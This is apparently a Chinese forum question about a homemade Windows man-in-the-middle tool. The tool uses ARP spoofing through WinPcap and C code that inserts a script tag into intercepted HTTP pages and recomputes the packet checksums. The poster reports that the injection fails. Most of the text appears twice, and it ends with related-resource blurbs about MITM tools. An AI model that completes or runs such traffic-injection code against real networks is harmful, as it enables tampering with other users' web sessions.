MITM中间人攻击数据包修改的问题请教.
背景介绍:
1. 在Windows下利用WINPCAP驱动进行ARPSPOOF.
2. 关闭Windows系统的转发特性, 在程序内置一个转发机制.
3. 对某些特定的数据进行中间人的修改后再转发, 以达到特定的攻击目的.
在LINUX下, 用Ettercap和一堆现成的插件都能实现我的需求.
但我希望在Windows下自己实现一个MITM模块.起码搞清楚其中间人修改转发数据报文的关键所在.
LINUX可参考背景介绍: http://www.2cto.com/Article/201305/208757.html
目前, 1和2都顺利实现了, 也就是实现了由程序进行数据报文的MAC地址的IP头的重新校验后再转发.
现在我尝试第3个需求:
我希望能在HTTP的HTML报文里,插入一段代码"<script type="text/javascript">alert("aaaaaaaaa");</script>"来实现上面的注入测试, 问题来了. 我发现不论我怎么修改调整代码, 都无法达到预期. 我不知道我的那一步出错了. 特来请教大牛.
付上部分关键代码如下:
其中:
m_tostr就是我要在HTML报文里插入的那句"<script type="text/javascript">alert("aaaaaaaaa");</script>"
m_tolen是这串字符的长度.
m_fromstr这里为"",
m_fromlen的长度为0.
目前我能想到的就是MTU的问题, 是不是需要对一个超过MTU的报文进行两次发送?
以上就是思路过程和部分关键代码. 有经验的大牛们请赐教.
1. 在Windows下利用WINPCAP驱动进行ARPSPOOF.
2. 关闭Windows系统的转发特性, 在程序内置一个转发机制.
3. 对某些特定的数据进行中间人的修改后再转发, 以达到特定的攻击目的.
在LINUX下, 用Ettercap和一堆现成的插件都能实现我的需求.
但我希望在Windows下自己实现一个MITM模块.起码搞清楚其中间人修改转发数据报文的关键所在.
LINUX可参考背景介绍: http://www.2cto.com/Article/201305/208757.html
目前, 1和2都顺利实现了, 也就是实现了由程序进行数据报文的MAC地址的IP头的重新校验后再转发.
现在我尝试第3个需求:
我希望能在HTTP的HTML报文里,插入一段代码"<script type="text/javascript">alert("aaaaaaaaa");</script>"来实现上面的注入测试, 问题来了. 我发现不论我怎么修改调整代码, 都无法达到预期. 我不知道我的那一步出错了. 特来请教大牛.
付上部分关键代码如下:
if(iphdr.proto==IPPROTO_TCP)
{
TCP_HEADER tcphdr;
PSD_HEADER psdhdr;
int iSourcePort,iDestPort;
int TcpHeaderLen,Origdatalen;
tcphdr=*(TCP_HEADER *)(data+14+iphdrlen);
iSourcePort = ntohs(tcphdr.th_sport);
iDestPort = ntohs(tcphdr.th_dport);
TcpHeaderLen= tcphdr.th_lenres>>4;
TcpHeaderLen*=sizeof(unsigned long);
Origdatalen=datalen-14-iphdrlen-TcpHeaderLen;
if(iSourcePort==80&&Origdatalen&&TcpHeaderLen)
{
memcpy(tcpdatabuff,data+14+iphdrlen+TcpHeaderLen,Origdatalen);
if(char *p=strstr(tcpdatabuff,"</head>"))
{
*p='\0';
sprintf(mitmbuff,"%s%s<%s",tcpdatabuff,m_tostr,p+1);
psdhdr.saddr=iphdr.sourceIP;
psdhdr.daddr=iphdr.destIP;
psdhdr.mbz=0;
psdhdr.ptcl=IPPROTO_TCP;
psdhdr.tcpl=htons(TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));
tcphdr.th_sum=0;
memset(returnbuff,0,sizeof(returnbuff));
memcpy(returnbuff,&psdhdr,sizeof(PSD));
memcpy(returnbuff+sizeof(PSD),&tcphdr,TcpHeaderLen);
memcpy(returnbuff+sizeof(PSD)+TcpHeaderLen,mitmbuff,Origdatalen+(m_tolen-m_fromlen));
tcphdr.th_sum=CheckSum((USHORT *)returnbuff,sizeof(PSD)+TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));
memset(returnbuff,0,sizeof(returnbuff));
memcpy(returnbuff,&tcphdr,TcpHeaderLen);
memcpy(returnbuff+TcpHeaderLen,mitmbuff,Origdatalen+(m_tolen-m_fromlen));
iphdr.checksum=0;
iphdr.total_len=htons(datalen+(m_tolen-m_fromlen)-14);
iphdr.checksum=CheckSum((USHORT *)&iphdr,sizeof(IP_HEADER));
memset(sendbuff,0,sizeof(sendbuff));
memcpy(sendbuff,ðr,sizeof(ET_HEADDER));
memcpy(sendbuff+sizeof(ET_HEADDER),&iphdr,iphdrlen);
memcpy(sendbuff+sizeof(ET_HEADDER)+iphdrlen,returnbuff,TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));
datalen=datalen+(m_tolen-m_fromlen);
}
}
}
pcap_sendpacket(SniffOpenhandle, (UCHAR *)sendbuff, datalen);
其中:
m_tostr就是我要在HTML报文里插入的那句"<script type="text/javascript">alert("aaaaaaaaa");</script>"
m_tolen是这串字符的长度.
m_fromstr这里为"",
m_fromlen的长度为0.
目前我能想到的就是MTU的问题, 是不是需要对一个超过MTU的报文进行两次发送?
以上就是思路过程和部分关键代码. 有经验的大牛们请赐教.
...全文
相关推荐
Lanmitm, Android中间人攻击测试工具.zip
- **流量修改**:修改传输中的数据包,如篡改网页内容、替换图片或改变请求参数。 - **证书伪造**:生成并安装自签名的根证书,以便解密加密的HTTPS连接。
如何进行https中间人攻击
**中间人攻击详解**中间人攻击(Man-in-the-Middle Attack,简称MITM)是一种网络安全攻击方式,攻击者在通信的两端之间插入自己,成为数据传输的中间节点,从而能够拦截、修改或伪造双方的通信内容
Python-CERTTapioca用于MITM网络分析
Python-CERT Tapioca是针对MITM(中间人攻击)网络分析的一款强大的工具,尤其适用于对移动设备和应用程序的安全测试。
Android安全之Https中间人攻击漏洞
#### 0X03 漏洞案例##### 案例一:京东金融MITM漏洞**问题描述**:京东金融版本2.8.0由于其证书验证存在缺陷,导致其容易受到中间人攻击。
Switch_90DNS_tester:一个简单的自制程序,可以在交换机上测试90DNS或Atmosphere DNS MITM(https
其中的DNS MITM功能是一种高级技术,通过在Switch与任天堂服务器之间设置中间人,可以实现数据包的拦截和修改,例如,用于绕过某些区域限制或者进行其他高级操作。


网络编程
